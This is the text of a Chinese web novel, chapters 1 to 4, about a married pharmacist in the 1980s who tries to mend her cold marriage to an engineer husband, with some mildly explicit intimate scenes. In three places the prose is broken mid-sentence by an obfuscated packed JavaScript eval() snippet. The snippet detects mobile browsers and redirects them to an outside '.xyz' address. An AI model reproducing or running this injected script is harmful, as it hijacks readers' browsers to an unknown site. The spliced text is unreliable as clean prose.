《年代文男主的冷漠原配觉醒了》 1. 第 1 章 夜间,两人躺在双人床上,中间隔着足能再躺一人的宽缝来。 舒英在黑暗中睁开眼,回想起白天看到的那些文字,忍不住在心中叹息。 旁边的人还在安静躺着,呼吸绵长。 舒英缓慢翻身靠上去,将手搭在他腰间,虚虚搂住,她感觉到手下人瞬时僵了僵,知道他还没睡着。 他们俩是相亲认识的,已经结婚有两年了,一直过着相敬如宾的日子,从没争吵过,也从没红过脸,她一直觉得这种日子也挺好,殊不知夫妻之间这种生活才是最危险的。 因为两个人都藏着自己的心思,客客气气的,将所有的矛盾都藏在平静的湖面下。 舒英回想起白天看到的那本书,她不确定那些是不是真的会发生,但她觉得他们夫妻二人若还是以这种状态过日子,那些都是迟早的事。 在那书里,他们的夫妻生活没平静多久就爆发了一次非常大的争吵,在这场争吵里两人都诉说着自己的不满,而争吵过后两人就分居了。 没有俗话常说的床头吵架床尾和,因为他们争吵中的最重要一点便是这项。 思及此,舒英又缓缓将自己的身体靠上去,掀开他的被子,紧紧贴着他的后背,她能感受到身边人的反应,他虽然身体僵硬,但没有拒绝。 也是了,他一直都想她主动,又怎么会拒绝。 舒英搭在他腰间的手向下探,在即将越过雷池时,男人动了,他猛地翻过身面朝着她,黑夜中,他眼神灼热地盯着她,存在感之强,让人无法忽视。 舒英唇角勾了勾,手十分精准地探过去,握住他的软肋。 男人猝不及防间弓起腰,喉头溢出一声粗喘。 他们结婚两年,明明是应该正处于浓情蜜意的时期,却过了一年半多的无-性-生活。 舒英想了想,他们刚结婚的时候,男人还是很主动的,她那时候也愿意配合,但往往都折腾到很晚,第二天还要上班,上班时困倦瞌睡,耽误工作,再加上被药房里有经验的妇女打趣。 于是后来他每每主动就都被她推拒,虽然他不清楚原因,但几次下来他也不愿意再贴她的冷脸,也就再不主动。 这种东西,不论男女都有欲望,舒英有时候不是不想,到休息日时,舒英也想跟他缠绵,但他不主动,她也放不下自尊拉不下脸,两个人心中都憋着气,但又都是体面人,白天都不显在脸上,装的跟没事人一样,就这样干睡了一年半多,就差没分床了。 可是夫妻间如何能这样子置气,夫妻生活不和谐,便是夫妻间最大的问题,这个问题不解决,日子迟早过不下去。 舒英以前不懂,可是白天脑子里无缘无故出现的那些文字让她懂了。 在那文字里他们都是书中的角色,而区别是他是男主,她不过就是个配角,出场两人就已经分居两地。 那些未来的画面放电影似的在她脑子里快速过了一遍,她也因此意识到了他们夫妻间的问题。 主不主动这种东西在夜里是不能在乎什么面子自尊的,尤其是合法夫妻之间。 舒英伸出另一只手轻轻点在李固言轩昂的眉宇间,他眉头轻隆闭着眼,在感受到眉间的热源后虚虚睁开双眼,瞳孔迷蒙失真。 舒英眉眼弯弯,指尖顺着他直挺的鼻梁往下滑,滑到他柔软的唇上。 指甲尖薄而圆滑,在他脸上滑过,激起一片战栗,李固言忍不住打了个哆嗦。 舒英很满意他的反应,他白天总是一本正经,脸上覆着笑意的假面,好像谁也走不进他心里的样子,而他白天坚固的堡垒却在夜晚悄然崩塌,消失的无影无踪。 李固言似有不满,火热的手掌下滑,突如其来的触感使舒英一个激灵,停留在他唇间的手指不受控制地狠狠按下,触碰到他坚硬的牙齿。 李固言感受到她的变化,唇齿微张,卷住她葱尖般的手指。 男人精壮的身体压住舒英,使得她毫无抵抗之力的承受。 舒英挣扎着从糜乱中找回丝丝理智,双手撑住他起伏的胸膛,慌乱道:“只能一次,明天我还要早起上班。” 男人喉咙翻滚,低沉地“嗯”了声,算是答应。 不等舒英松口气,男人就狠狠擒住她的唇,野兽般啃咬起来。 伪君子也终于在夜间被撕下了伪装的面具。 一番云雨后,舒英觉得自己浑身都使不上力,像是被车碾过一般散了架,蜷在李固言怀里。 两人肉贴着肉,黏糊糊地流着热汗,根本分不清那些汗是谁的,或许早就融在了一起,密不可分。 屋内亮起了暖黄的灯光,李固言用手抚上怀中人的肩头,皮肤细腻,在灯光的照射下,更显柔媚。 女人这时已经昏睡过去,静谧的房间里独留男人眼含深意地看着她,大手不老实地在她脊背处上下滑动,不知在思索着什么。 良久后,李固言轻轻在她额间印下一吻,随即悄悄起身收拾这一室狼藉。 第二天舒英久违的睡过了,她八点上班,往日都是六点半就起床,今天难得睡到了七点多被李固言叫醒。 李固言已经将早饭做好了,两人坐在桌子对面,都有些尴尬,谁都没有主动开口,就这样沉默地吃完了早饭,收拾过后各自去上班。 舒英从卫校毕业后就一直在二院的药房工作,每天就是上药、配药、抓药,工资比医生护士低一点,但也比他们轻松些,至少不用上夜班。 二院的医疗条件没有一院好,所以这边也相对清闲些,规定的是五点下班,但实际上四点多就没什么病人了,这时候家里有事的,说一声就能下班。 不像一院,五点的时候还都是加号的病人,加班加到半夜都是常态。 李固言的大姐就在一院的护士长,跟舒英是一个卫校毕业的,当初她和李固言相亲,就是她大姐的同事牵的线。 舒英今天来得有点晚,到医院后急急忙忙穿上白大褂就去了药房。 舒英跟同事们的关系好,迟到也没人会说什么,她带的实习生小胡凑到她面前道:“姐,你这天天都不迟到的人,今天怎么也来晚了?这不应该是我的特权吗?” 舒英84年就在这上班了,如今五年过去,大小也混成了前辈,她睨了小胡一眼,“没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739133|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大没小。”仔细检查了一遍手里的药单子后才开口,“还特权,你也知道你天天迟到呀?” “哎呀,我也不是故意迟到的,主要是我家里住的太远了,天天都得坐快一小时的公交车才能到医院。”小胡吐吐舌头撒娇讨巧。 舒英对照着医生的鬼画符从架子上拿药,闻言说:“那让你住宿舍你又不愿意,可不就是得早点起。” 说到这,小胡不悦地鼓起脸:“我才不要住宿舍,之前在宿舍,她们就明里暗里地挤兑我,说我就是个拿药的,说我拿个药还读什么卫校。” 舒英找药的动作一顿,接着把找到的药放进篮子里,小胡说的这种情况是存在的,他们这间药房都是被安排进来的关系户,真正学了药学从卫校毕业被分配过来的人除了她就是小胡了。 小胡意识到自己说错话,左右观察了下,见其他同事没注意到她,才松口气压着声音对舒英道:“幸好他们没听见,要不又该在背后说我了。”都是关系户,她一个也得罪不起。 舒英有些无奈地看了她一眼,小胡今年才十七,还没毕业,年轻气盛,有点口无遮拦也算正常,但有些话不能说,容易影响工作。 机械厂离二院很近,走路也就十几分钟,中午十一点半到两点是休息时间,两个半小时的时间,李固言中午一般不回来,就舒英自己吃,她也懒得做饭,都是从医院食堂打了饭回家吃。 李固言大学毕业后就被分配到机械厂里,他有文凭有知识,自身工作也努力,一路从技术员干到工程师,颇受领导的器重。 刚结婚的时候,他忙里偷闲,十几二十分钟的,也要回来搂着她睡一会儿,后来两人关系变淡后,别说中午回来了,晚上都得天摸黑才带着一身的机油味回来。 那时候舒英都已经上床准备睡觉了,他回来,两人也没什么交流,李固言在食堂吃过饭,回来把工服洗干净晾上也静悄悄地上床睡觉。 两人一人一个被窝,心照不宣地在床上分出三八线来,睡觉时都不越过。 夫妻两个倒处得像是陌生人,一天也说不了几句话,各做各的事,各睡各的觉。 可在外人面前,又默契地共同装出一副恩爱夫妻的样子,都是好面子的人,谁也不肯在别人面前承认自己的婚姻失败。 想到这,舒英又想起昨天晚上的火热,脸上不自主的感到热辣辣的。 从看到那本突然出现在脑中的书起,她就一直在想,以他们俩的相处模式,她是应该顺应书中发展,还是应该选择主动破冰。 考虑了一天后,终于还是在将手伸向他腰间时做出了选择。 她不算是一个前卫的人,当初答应和李固言结婚时,就是奔着一生去的,而且他们之间的婚姻实际上并没有发生实质错误,没有谁对不起谁,只是两人都骄傲,谁也不愿意先低头罢了。 不过矛盾总归是由自己的拒绝引起,那她便主动一回看看结果如何,说到底这是自己的人生,不是书里冰冷冷的几个字,她以书做参考,却不会完全相信书。 当然如果最后还是如书中所说分居离婚,她也不会纠缠不放就是了。 2. 第 2 章 舒英脑中正胡思乱想着,突然听到外间的门响,这个时候除了李固言还能有谁。 心中猜测激的她心中一颤,下意识放松身体闭紧双眼,她还没想好要怎么面对他呢。 好在对于装睡她已经练得驾轻就熟了。 李固言一进来就看到舒英整个人蜷在被子里睡得正香,他手脚放轻眉毛轻挑,他知道她在装睡,这一年多,她不知道装睡多少回了,每回眼皮都乱颤,也不知道精进一下技术。 李固言也不戳破她,脱掉外衣裤子,掀开自己的被子上床。 床身抖动了一下,舒英借机翻了个身,面朝里面的墙壁,她没想到他会上床,她以为他回来就是来拿个东西,拿完就走了。 但他上都上来了,舒英也不好意思在这个时候醒,干脆一装到底,反正他上班时间比她早,等她睡醒人估计都走过了。 李固言平躺在床上,小臂枕在脑下。 昨天晚上意乱情迷之后,他一直想不通为什么,导致一夜没睡,就连上午上班的时候都在走神想原因。 她心里不是有人吗?之前他主动就一直不答应,怎么昨天晚上又那么主动。 他想来想去,想不出原因,不知道她是心里放下了那个人,想跟他重修于好,还是单纯地用他疗慰寂寞。 听着身边人逐渐平稳的呼吸,李固言一动不动地保持平躺姿势,睁着眼睛看天花板。 时间一分一秒过去,床头闹铃响起,紧接着李固言就瞧舒英猛地从床上坐起。 舒英刚睡醒,脑子一片浆糊,闭着眼睛坐着听了一会儿闹铃声,才想起伸手去关掉。 没想到手没碰到闹钟,倒碰到一张温热的脸,这下脑子瞬间清明,瞬间睁开眼睛看向旁边,下意识问:“你还没走?” 说完才意识到自己说了什么,这不就是在变相承认他回来时她是在装睡吗?不知道是睡迷糊了,还是被小胡的口不择言传染了。 舒英有些懊恼地咬唇,收回视线,一言不发地穿衣服。 没想到这时李固言出声回答她的问题:“今天厂里事情不多,下午可以晚点去。” “哦。”舒英低着头整理毛衣袖子,穿好毛衣后起身想从床尾下床,看到床尾空荡荡的地面才意识到拖鞋在李固言床侧。 正在她犹豫是先下床再绕过去穿鞋,还是直接跨过李固言下床时,就见他掀开被子起身给她让位置。 舒英赶紧下去拿架子上的外衣外裤匆匆忙忙地套身上,旁边李固言穿衣服的摩擦声在旁边响起,在听到他咔哒的皮带声后耳朵尖不由自主地变得红热。 李固言说:“我晚上回来吃饭。”说完没等她反应就拿着厚外套去上班了。 经过中午这一遭,到下午上班的时候,舒英是彻底魂不守舍了。 连向来大大咧咧的小胡都注意到了她的不对劲,下班时在更衣室问:“姐,你怎么了?我看你下午一直在走神,眼神都呆滞了。” 被小胡这么一打岔,舒英有些不好意思地笑笑,“没事,在想晚上吃什么。” 小胡没察觉异样,十分赞同道:“是得想想吃什么,今天搬了好多药,累死我了,感觉现在身上的肌肉都是酸疼的,晚上回去一定得大吃一顿,好好地补回来……” 舒英一边听着她的絮絮叨叨,一边换衣服,最后拿上包把柜门关上,“下班了走了,你也别磨蹭了,现在天黑得早,你还得去坐公交车呢。” “明天见姐。” “明天见,路上小心。” 从医院出来,舒英照常去菜市场买了晚饭要用的食材,因为李固言说回来吃,所以她多买了些。 到家时,天色已经暗下来了,李固言还没下班,舒英进门把灯拉开,玻璃窗晕染出暖黄的光。 李固言到家时,正好闻到从厨房里飘出来的饭菜香气,隔着墙壁都能感觉到冰凉的空气被烘烤温暖。 他推门进屋,舒英还在厨房忙活,锅铲碰撞发生声音,李固言脱掉外套挂在衣架上,自然而然地走到厨房帮忙。 舒英看了他一眼没说什么,在没人的时候,他们之间的状态就是这样合伙过日子,各自都很有眼色的主动分担家务。 有时候舒英觉得除了和他感情一般,在生活的其他方面都挺好的,至少李固言不是那种躺着等她伺候的男人。 两个人沉默地吃饭,电视上放着《义不容情》,吃完饭后,李固言收拾残局,舒英拿出毛线打毛衣来消遣时间,李固言收拾好后也坐到书桌前看书看报。 夜渐深,隔壁人家教训小孩的声音逐渐消失,舒英看了眼时间,已经九点了,她放下毛线,扭了扭脖子,起身去接洗脚水,洗漱好后将里侧的被子铺开钻进去。 没过多长时间,她就听椅子拉开的声音,一阵悉悉索索后,身侧一塌,李固言也洗漱好上床,随后“啪”的一声,灯光关掉,房间陷入黑暗。 两人背对侧躺,舒英睁着眼睡不着,昨天晚上一时勇敢,结果今天两个人反而都很尴尬。 舒英翻了个身,面朝着李固言宽厚的背影。 李固言闭眼假寐,身后被角松动,随冷气一同进入的是一只温热的手,慢腾腾而又怯生生。 李固言没有动,等着她的下一步动作。 舒英将手放在他劲窄的腰上,随后整个人贴住他的后背,安安静静地抱着他。 就在李固言要等的不耐烦的时候,身后的人突然开口:“我们和好吧。”声线温柔。 两人谁都没有再说话,彷佛她的这句话只是她梦中的呓语一般。 舒英没有在意他的反应,只是在他身后抱着他,他好像一个火炉,源源不断的热源从身前传来。 良久后,李固言终于动了,他转过身正对着她,喉咙干哑,压了下唇角问:“为什么?” 舒英在黑暗中和他对视,知道他只是想知道原因,她回道:“我们是夫妻,但每天除了睡在一张床上外,其他倒像是陌生人,可我们其实并没有什么实质性错误,我不想以后的生活都这样过。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739134|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她神色认真,李固言抿了下唇说:“所以你昨天晚上……,是因为想和好?” “嗯。”舒英向他身上靠了靠,两人之间距离近得几乎要听见对方的心跳声。 李固言嘴唇微张,一个男人的名字几乎就要脱口而出,但最终他还是选择咽下去,蜷了蜷手指道:“好。” 舒英没有注意到他的异样,又往他怀里钻了钻,鼻尖充盈着他衣服上的皂角味,干净清爽又带着一点温暖,心口的石头落地,在暖烘烘的怀里,她很快就闭上眼昏昏欲睡。 等怀里人睡着后,李固言摸了下她被子外冰凉的头发,眸色暗了暗,所以她现在是真的放下了那个人准备好好跟他过日子是吗? 他这二十几年一向拔尖好强,竟不知什么时候也成了别人的备选了,他自嘲地笑了笑,翻身闭眼。 可心烦意乱得紧,身后的人又睡得安稳香甜,湿热的呼气喷在他背上,让他如何睡得着? 李固言睁开眼后又翻身回来,恶狠狠地盯着舒英的睡脸,压着声音道:“你最好解释清楚你跟那个人是怎么回事,要不然……要不然……”他说着说着有些说不下去,皱着眉狠狠闭上眼。 睡梦中的舒英对这一切毫无所觉,嘤咛一声翻了个身,被子滑掉半身,她好似感觉到了冷,将自己蜷了起来。 李固言看着她,伸手想要去够里面她的被子给她盖上,捏到被角后默了默,还是选择放下,最后将自己身上的被子往前拉了拉盖到她身上。 被子不够宽,他怕她冻到似的,长臂一伸捞住她往怀里压了压,随后紧紧搂着她睡过去。 这一夜睡得舒服,舒英醒得也早,睁眼就发现自己还在李固言怀里,头顶着他下颌,鼻唇贴着他锁骨,腰上被长臂禁锢,连翻身都显得有些困难。 舒英动了动,把身上的长臂拿掉坐起来,就见他们俩都盖着李固言的蓝色被子,而自己的碎花被可怜巴巴地挤在墙边。 单色窗帘透出外面微弱的天色,现在才六点多,闹钟还没响。 许是她动作大了点,李固言也醒了,睁开眼起来穿衣服。 马上就是冬天了,每天早晚都是最冷的时候,舒英穿好厚衣服,从暖瓶里倒了热水出来洗漱,凉手浸在热水里,暖乎乎从心底涌上来一声喟叹。 李固言动作快,已经把早饭烧上了,现在红薯最当季,家里买了很多红薯,他削了一个大点的红薯,放了把米进去煮粥,又在锅里放了个竹篦子,顺便热两个馒头。 舒英进来炒了两个菜,早饭就算是做好了。 两人今天起得早,时间还多,两人稍显安静地面对面坐着吃完一顿饭,各自出门上班。 虽然昨天说了要和好,但这种事也不是一下就能改过来的,总得慢慢来。 舒英一碗热粥吃得浑身都热乎乎的,她挎着包走在路上想,晚上回去就把碎花被收起来吧,那个蓝被子也够他们俩盖,等天再冷一点就把柜子里的厚被子拿出来,厚被子是结婚时的陪嫁,双人被,也够他们俩盖。 3. 第 3 章 “这天阴沉沉的,估计待会儿要下雨。” 李固言抬头看过去,窗边乌云翻滚,太阳被遮了个一干二净。 “李工,想什么呢?这么出神。” 李固言闻言收回视线笑了笑,重新将注意力放到机器上,掩住眼中情绪。 “我刚刚听外面淅淅沥沥的,好像是下雨了。”小胡凑到舒英旁边闲聊道。 “下雨了?”舒英惊讶地看着她,“昨天天气预报也没说要下雨啊,我今天出门没带伞。” 小胡点点头,手下理药的动作不停,“谁说不是呢,我看这雨一时半会儿是停不下来了,我待会儿给家里打个电话,今天在宿舍凑合一晚上。”她平时虽然不住宿舍,但宿舍是有个床位的,用来防备这种情况。 说完又问:“姐,那你待会儿怎么回去?” 舒英收起担忧的神色,安慰地笑笑说:“没事,我家离得近,淋点儿雨也不妨事。” 两人简单闲聊两句又各忙各的,等到了下班的点,都去更衣室换衣服。 铁柜门上的钥匙串在空中相互碰撞,舒英换回自己的衣服,看着窗外的雨,踟蹰着扣着扣子,现在天冷,淋一路雨搞不好要感冒的。 就在这时,更衣室又进来几人,带着护士帽,舒英朝她们看了眼,点了点头,都是一个医院的,大家就算不怎么熟悉,但也算认识,而且她们中的其中一人跟她还是初中同班同学。 小胡还在担心地问:“姐,你要不要找人借把伞?” “今天带伞的人估计不多。”舒英摇头拒绝,拿了包就想走。 庄小梅正跟几个同事说说笑笑,听到她们俩的对话,凑上去问:“你今天没带伞啊?” 舒英觑了她一眼,就知道她心里在想什么,这个庄小梅,从初中时就跟她不对付,毕了业分配工作,她是护士,她是药房拿药的,自觉压了她一头,那更是得意了,后来结婚,她俩都嫁在机械厂,但李固言是炙手可热的大学生,而她丈夫技校毕业。 这下好了,庄小梅是处处看她不顺眼,有事没事儿就要刺她两句,只是舒英一直懒得跟她计较罢了。 听到她这话,舒英点头:“是啊,怎么你要发挥雷锋精神,把你的伞借我啊?” 小胡不知道她俩的不睦,真以为庄小梅这么好心,当下便笑说:“小梅姐你人真好,小英姐没带伞,我还想着她该怎么回去呢,那你要是愿意借伞的话,我也就不用担心了。” 庄小梅听到这话变了脸色,但到底是修炼几年的老员工了,怎么也不会在一个实习生面前失了风度,“真是不凑巧,我今天也没带伞,恐怕是没办法把伞借给你小英姐了。” 舒英拿好包,冲在场几人又点了点头:“你们聊,我先回去了。” “别啊,待会儿我家建国来接我,正好咱都住机械厂家属院,你就顺便跟我们一起回去,也省得淋雨了。”说起这个,庄小梅可是得意了,她跟他丈夫俩感情好,一到刮风下雨的,都不用说,林建国就来接她下班,而这一点,舒英基本没有。 其她护士听了这话,跟她笑闹起来:“小梅,你可真是嫁对了人,你家建国对你是真好,知冷知热的。” 庄小梅微微昂着头,眼角还注意着舒英,语气不无得意:“这嫁人啊,还是得看人品,有的人光自己本事大有什么用,还是会疼老婆的好。” 她说的这话,舒英都想点头。 庄小梅炫耀完,话风又转到舒英身上:“李工可是大忙人,天天都加班的,估计是没法来接你了,我看你待会儿还是跟我们一起回去得好。” 舒英看着她的笑脸,当即点头应下:“行啊,你这再三邀请,我要是再拒绝岂不是有点不识好歹了,对了,你家林建国带几把伞过来,加我一个够打吗?” 这下换庄小梅愣住了,她这时不时地怼舒英两句都成习惯了,谁知道她今天抽什么风,竟然还真同意了,林建国肯定就只带了两把伞来啊,但当着这么多人的面,她总不能再拒绝,于是咬着后槽牙说:“你放心,肯定够。” 舒英瞧她这副小孩样就想笑,庄小梅从初中就事事跟她攀比,从比成绩到比穿着,又比工作,比男人,这都工作几年了,还这么幼稚。 一行人换好衣服出了更衣室,有伞的人先打了伞走,剩下的人在医院门口廊下等着,小胡跟宿舍的人不和,也不想那么早回去,干脆就陪着舒英一起等。 庄小梅情绪来得快去得也快,满心满眼地看着路口,等她丈夫来接。 现在这个点几乎不会有来看病的人了,阴雨连绵夹着冷风,舒英缩了缩脖子,双手有些冰凉。 小胡突然戳了戳她,指着不远处说:“姐,你看那边那个人,高子真高,虽然脸被伞挡住了,但我相信他长得肯定很帅,你说他会跳《冬天里的一把火》吗?” 舒英顺着她的手指看过去,那人撑着一把黑伞,黑衣黑裤黑鞋,隔着阴雨看不真切,她笑着打趣小胡:“你马上就毕业工作了,也可以谈朋友了,现在有喜欢的人了吗?” 年轻人都怕羞,小胡也没想到怎么话题拐到自己身上了,当即红了脸颊:“我还小呢。” 庄小梅听见两人对话,接腔说:“也不小了,我像你这么大的时候都跟我家建国认识了,但姐以过来人的身份告诉你,找男人可不能只看长相,还得看他对你怎么样,那光长得好不会疼老婆的人可不能要。” 她这话明里暗里地挤兑舒英,李固言可是众所周知地长得好,大家都说李固言跟舒英感情好,从来不吵架,但庄小梅可不觉得,要是感情真好,下这么大的雨还能不来接? 舒英早对她免疫了,只当没听到。 小胡看着前面说:“小梅姐,那是不是姐夫啊?” 林建国经常来医院,她们对他也算是有个脸熟。 庄小梅闻言看去,那憨乎乎跑过来的不是林建国是谁,脸上瞬间笑开花,“是他是他。” 舒英也看过去,但视线却被另一个人吸引,刚才打着黑伞的人这时已经到了跟前,伞檐上抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739135|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,露出底下一张斯文俊朗的脸,是李固言。 小胡也看清了长相,低声说:“姐,这人长得真帅,跟费翔似的,也不知道他来接谁的。” 舒英没回答,眼神一直盯着他,小胡见状连忙扯她的袖子,嘴唇不动压声提醒:“姐,你别老看着他呀。” 那边林建国已经到了廊下,庄小梅接过他手里的伞对舒英道:“走吧舒英,我爱人来了,咱俩打一把伞吧。” “不用了,你们先走吧,我跟舒英打一把就好。”声音清冽,一字一句如玉般敲在舒英心上。 小胡反应过来这人是谁,瞪大了眼睛说:“姐,大家都说你爱人长得好,但没说长得这么好啊。” 舒英本来还惊讶李固言会来,听到她这话后没忍住笑出声:“行了,外边冷,你也赶紧回宿舍吧,回去烧点热水泡泡脚,注意别感冒了。” 那边庄小梅撇了撇嘴,撑开伞进了雨里,林建国不知道她怎么突然不高兴了,连忙跟李固言打了个招呼后就追上去:“李工,我们先走了啊。” 李固言上前,将伞遮到舒英头上,也带着她进了雨里。 两个人打一把伞局促了些,雨水又不停的随风潲向他们,舒英抬头看了看他,他脖子修长,下颌精致,眉眼注视着前方,她朝他靠了靠,伸手挽住他。 李固言动作一顿,换了左手撑伞,将右手从她手中抽出来,转而搂住她往伞下带。 舒英微微低头看了眼臂膀上的大手,骨节分明,有力的撑开,指甲修剪干净,瓷白的皮肤上映着脉络分明的青筋。 舒英的脸上不自觉泛起红晕,轻声道:“谢谢你。”她没想到他今天会来接她。 李固言唇角微不可察地上扬了下,随及恢复正常,垂眸睨了她一眼,什么也没说,只是放在她身上的手又用了点力,伞檐也朝着她倾斜。 到家后李固言的衣服湿了大半,舒英被他护在怀里倒没怎么淋到,她将包放下后就去了厨房煮姜茶。 李固言将湿衣服换下,走过去从窗户看向厨房里忙碌的人,锅里的热气蒸腾,朦胧了她的身影,心中涌起一阵酸酸麻麻的感觉。 舒英对此毫无所觉,将煮好的姜茶盛出来,递到他面前:“喝了驱驱寒。” “嗯。”李固言接过碗,吹了吹,等温度适宜时一饮而下。 不知是不是因为下了雨,舒英觉得今天晚上格外冷,吃完饭她就赶紧洗漱上了床,坐在被窝里看电视打毛衣。 她新学了个织法,想织个新毛衣留着过年穿。 她的那件织了好几天,今天就收个尾,收好尾后她又重新起针再织,织了一会儿道:“李固言,你过来一下。” 李固言不明所以,起身过去,舒英把织了个开头的毛衣在他身上比划了一下,心里计算着还要再宽一点。 李固言直勾勾地看着她,舒英被看得有些不好意思,抿了下唇说:“好了,你回去看书吧。” 李固言回去坐着,房间里瞬间又只剩电视里的说话声。 4. 第 4 章 李固言这时候哪里还看得下去书,装模做样到了九点后就去洗漱,随后也上了床。 自从前几天两人说和好后,他们就一直盖一床被子。 舒英见他上床,打了个哈欠,也有些困了,她把毛衣毛线收起来,脱掉外套躺下去。 李固言伸手把灯关了,房间瞬间黑下去。 舒英体寒,李固言身上跟火炉似的,她朝他怀里钻了钻。 黑夜是最不受控制的时候,影影绰绰间,舒英撞进李固言眼神的漩涡里,她轻咬下唇,收回视线,正好看到他滚动的喉结。 不知是今天实在高兴,还是夜色撩人,舒英呼吸紊乱地移上去,在他脖颈间轻轻触碰。 李固言搂住她,感受到脖间的湿热柔软,等她拉开距离后,闭着眼低头去寻她的唇。 火热驱散了寒冷,两人十指交织,暗夜之中目光相撞。 舒英面颊绯红,眼神迷离,伸手攀住他的脖子,李固言盯着她眸色渐深,俯身沉下去。 小船飘荡在湖面,日光照进眼底,引起一阵眩晕。 …… “你明天有空吗?”舒英边收拾碗筷边问,她刚问完,心里就预设了答案,看这刚吃完晚饭还得往厂里跑的样子也猜出来了。 果不其然,李固言道:“没有,厂里研发的一台机器出问题了,这几天都在找原因,怎么了,是有什么事吗?” “没什么事。”舒英摇头,“我明天休息,回家看看我爸妈,想着你要是有空的话,能陪我一起去。” “下次吧,下次我再陪你回去,你明天什么时候回来?我去接你。” “我明天下午再过去,吃过晚饭回来,你去接的话,就五点多吧。”一周就休息一天,她上午要在家把该洗的该刷的都弄完了才有时间出去。 “行,那我五点多去接你。”李固言穿上外套往外走,临出门前停住脚说,“你晚上早点睡,我不定什么时候回来。” 言外之意就是不用留灯。 舒英答应下来,端着碗筷进了厨房。 第二天休息,舒英难得睡了个懒觉,起来的时候已经八点多了,李固言已经上班去了,他昨天忙到半夜才回来,带着一身的寒气,她那时睡得迷迷糊糊的,跟做梦似的睁眼瞧了他一眼。 今天难得是个大晴天,舒英将床单被罩都拆下来放洗衣机里洗,又把被子都抱到小院里晒。 中午李固言没回来,估计在食堂吃了,她自己在家拌了点面糊煮疙瘩汤,疙瘩汤里切了肉丝又加了鸡蛋青菜,快出锅时还放了点胡椒粉,又香又烫又辣,吃得人浑身发热,从心肺暖到了手脚。 等家里都收拾好,也快两点了,舒英背上皮质小挎包,在嘴唇上涂了点口红,踩着小高跟皮鞋把门锁上后出门。 巷子里阿姨奶奶们看见打招呼,“打扮这么漂亮,出去玩去啊?” 舒英也笑着回:“今天休息,回家看看我妈。” 舒英今天心情好,一路上都高兴得紧,快到家时去菜市场割了两斤肉,又买了一袋苹果才上楼。 舒爸舒妈都是食品厂的工人,大哥舒文佑初中毕业后接了舒妈的班,舒妈平时就在家里接点手工活,赚点零钱。 现在大姐舒秀珍怀孕七个多月了,舒妈没事儿就熬个汤做个菜送过去。 今天星期天,大家都放假,都在家里洗洗刷刷。 舒英敲门,舒妈来开的门,“英儿,你今天咋来了。”不是英——儿——,是翘舌儿化音的英儿。 说着就笑着把人迎进去,又喊舒武茂出来,“武茂,你二姐来了,快出来拎东西。” 他们舒家四个兄弟姐妹,大哥舒文佑,大姐舒秀珍,小弟舒武茂,舒英排第三。 舒武茂去年从师专毕业,被分配到家附近的小学当老师。 “姐,你来了。”舒武茂鼻子上架个眼镜,气质跟他的名字极不相符。 舒英把手里东西递给他,笑道:“你最近上班怎么样?” 舒妈看着苹果吩咐:“武茂,你去厨房把苹果洗了,拿过来吃。” 舒武茂拎着苹果进厨房,边走边回舒英:“还行,就那样,反正是比去年适应了。” “适应了就好。”舒英扭过头问舒妈,“嫂子呢?怎么没见人。” 提起嫂子,舒妈脸色肉眼可见的变化,她朝里间的一道木门努了努嘴,轻声说:“屋里睡觉呢。” 说完又若无其事地笑起来,看着舒英买回来的肉道:“你这肉不错,肥瘦相间,妈晚上给你炒肉吃。” 舒英笑着点头,眼神不留痕迹地掠过那道木门,嫂子跟大哥结婚好几年了,一直没怀上,她知道舒妈的性子,婆媳俩因为这事没少产生矛盾。 今年三月的时候,大姐舒秀珍怀孕了,一直害喜吃不下饭,舒妈实在担心,干脆住过去照顾她。 没多久大嫂检查也怀孕了,那时候舒秀珍妊娠反应正严重,舒妈放心不下就没搬回来,谁能想到大嫂这胎两三个月的时候没保住。 大嫂那时候就觉得是舒妈偏心闺女,只照顾闺女没照顾她,这才让她胎没安好,本来因为结婚几年没怀孕就被舒妈呛,这流产后郁结于心,跟舒妈更是过不去,婆媳两人现在是一点不对付。 舒武茂端着洗好的苹果出来,舒英拿了一个切成牙放盘子里,走到木门前轻声敲门:“嫂子,睡了吗?我是二妹,我切了苹果你吃吗?” 过一会儿后声音才从屋里传出来:“我不吃了,你们吃吧。” “好,那嫂子你好好休息。”舒英端着盘子一回头就见舒妈撇着嘴。 嫂子嫁进来的时候,舒英正上着卫校,平时住宿舍里,就逢年过节的在一起相处,客客气气的,跟她其实不怎么熟。 舒妈拉过她的手,到椅子上坐下问:“怎么就你自己过来?固言怎么没来?” “他厂里加班,没时间过来。” 